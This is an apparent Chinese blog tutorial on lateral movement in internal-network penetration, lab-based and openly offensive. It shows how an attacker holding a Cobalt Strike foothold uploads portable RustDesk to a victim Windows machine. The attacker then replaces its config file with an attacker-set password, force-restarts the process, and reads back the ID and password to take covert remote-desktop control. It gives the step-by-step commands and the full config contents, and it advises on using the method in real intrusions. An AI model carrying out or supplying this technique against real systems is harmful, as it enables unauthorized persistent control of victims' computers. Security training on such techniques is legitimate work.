[横向移动] 远控优化 — 通过 “RustDESK” 获取远程桌面

🌟想系统化学习内网渗透?****看看这个:内网安全 内网渗透 - 学习手册-CSDN博客

https://github.com/rustdesk/rustdeskhttps://github.com/rustdesk/rustdesk

0x01:RustDESK --- 工具介绍

RustDesk 是一款开箱即用的远程桌面软件,无需任何配置,完美替代 TeamViewer。用户可以完全掌控数据,不用担心安全问题。该项目是完全开源的,用户可以搭建自己的注册/中继服务器,当然,也可以直接使用官方提供的服务器。

0x02:RustDESK --- 获取远程桌面原理

RustDesk 获取远程桌面的原理与我们之前讲解的 ToDesk 类似,都是通过修改目标本地的配置文件以使未知的验证码变得已知,进而对目标发起远控。

0x03:RustDESK --- 获取远程桌面操作

环境配置

  • 攻击机(Kali Linux):172.16.0.103 --- 安装了 Cobalt Strike 服务端与客户端

  • 靶机(WIndows 7):172.16.0.122

0x0301:上传并运行 RustDESK

假设内网渗透中,你已经拿下了一个目标靶机,此时想远程桌面它,那么你就可以考虑使用这个工具。首先通过 Cobalt Strike 将工具上传到靶机中:

然后使用下面的命令直接运行 RustDesk 即可,它是一款便携程序,是不用安装的:

bash 复制代码
shell C:\Users\Administrator\Desktop\rustdesk-1.1.9.exe

0x0302:定位 RustDESK 配置文件

RustDesk 运行后,会在本地生成一个配置文件,里面包括了机器的识别码和验证码。我们可以通过下面这条命令,来查看 RustDESK 的配置文件:

bash 复制代码
shell type C:\Users\用户名\AppData\Roaming\RustDesk\config\RustDesk.toml

可以看到,刚刚安装的 RustDESK 的配置文件里是没有 password 的,我们得给它加上。

0x0303:偷天换日之篡改 RustDESK 配置文件

我们将靶机的 RustDESK 配置文件的内容复制下来,并给它手动加上一个 Password:

bash 复制代码
id = '113769990'
password = 'qrrtyi'
salt = '6k2mt4'
key_pair = [
    [
    83,
    183,
    170,
    77,
    217,
    78,
    138,
    247,
    86,
    60,
    117,
    114,
    91,
    110,
    237,
    121,
    16,
    127,
    189,
    86,
    186,
    80,
    121,
    150,
    173,
    189,
    130,
    250,
    84,
    208,
    200,
    104,
    251,
    61,
    17,
    68,
    77,
    101,
    240,
    192,
    177,
    34,
    253,
    150,
    194,
    220,
    21,
    2,
    136,
    245,
    77,
    89,
    96,
    128,
    214,
    48,
    194,
    176,
    228,
    217,
    110,
    112,
    174,
    244,
],
    [
    251,
    61,
    17,
    68,
    77,
    101,
    240,
    192,
    177,
    34,
    253,
    150,
    194,
    220,
    21,
    2,
    136,
    245,
    77,
    89,
    96,
    128,
    214,
    48,
    194,
    176,
    228,
    217,
    110,
    112,
    174,
    244,
],
]
key_confirmed = true
​
[keys_confirmed]
rs-ny = true

然后我们通过 Cobalt Strike 删除目标机器上原有的配置文件,并在本地创建一个 RustDesk.toml 文件,里面的内容就是我们上面修改的,并将该文件上传到靶机中:

0x0304:重启靶机 RustDESK

篡改完目标的配置文件后,我们还需要让目标的 RustDESK 重启以加载配置文件。首先通过下面的命令,找到目标正在运行的 RustDESK 进程的 PID 号:

bash 复制代码
tasklist | findstr "rust"

然后通过下面的命令强制关闭该进程:

bash 复制代码
taskkill /pid 2884 /F

最后,我们再通过一开始的命令重启靶机的 RustDesk 让其加载我们篡改过的配置文件:

bash 复制代码
shell C:\Users\Administrator\Desktop\rustdesk-1.1.9.exe

0x0305:查看靶机 RustDESK 密码并进行远控

靶机的 RustDESK 已经开始运行了,此时我们再尝试读一下它的配置文件:

bash 复制代码
shell type C:\Users\用户名\AppData\Roaming\RustDesk\config\RustDesk.toml

如上,成功拿到远控的账号和密码,此时我们就可以在攻击端也启动一个 RustDesk 然后输入上面获取到的信息对目标进行远控啦。


笔者实验采用的 RustDESK 版本是 1.1.9 的,已经属于老版本了,它建立的远控很不稳定,如果实战中想要使用,建议去参考官方的自建中继器。对于新版的 RustDESK 笔者也看了,它的 ID 做了加密,笔者没破解出来,不过其实也无所谓,我们还可以尝试直接去替换目标的配置文件来达到修改工具 ID 与密码的目的(密码可以修改,因为它似乎是本地验证,但是 ID 不确定改了会不会有问题,因为笔者怀疑它的 ID 与机器码绑定了)。

相关推荐
电梯界知识分子8 分钟前
景德镇老房重新设计阶段规划楼梯与电梯,1.7m×1.6m空间装400kg观光电梯,棕色框架茶色玻璃适配中式装修
大数据·服务器·前端·网络·家用电梯
Yiran_G17 分钟前
双频 Wi-Fi 6 + 蓝牙 5.4:无声讯通 WS8712 模组的开发与集成要点
网络·嵌入式硬件·物联网·智能家居
凯基迪科技34 分钟前
STM32G系列(G0/G4)芯片解密程序提取RDP读保护解析
网络·stm32·安全
靠谱的工程师朋友1 小时前
电子会计档案管理软件科普 核心能力与选型要点解析
网络·数据库·人工智能·电子会计档案
萌动的小火苗1 小时前
MQTT的QoS0、QoS1、QoS2有什么区别?
开发语言·网络·python·php·信息与通信
A黄俊辉A1 小时前
虚拟机中的 桥接,NAT,仅主机模式的区别
网络·智能路由器
牢姐与蒯1 小时前
Linux网络篇——TCP(一)之手搓TCP,并实现词典和远程命令
linux·网络·tcp/ip
科技小登1 小时前
CC攻击防护哪家好?Web安全加速、WAF与Bot管理同入口方案对比
网络·安全·web安全
loulanyue_1 小时前
密度定律驱动端侧AGI跃迁,用物理级解耦破解自主网络攻击之困:迈向安全可控的通用智能——读清华大学刘知远教授CNCC2026网络生态治理论坛演讲实录
网络·安全
Lzg_na2 小时前
IGMP 协议详解:从背景到报文的完整学习指南
网络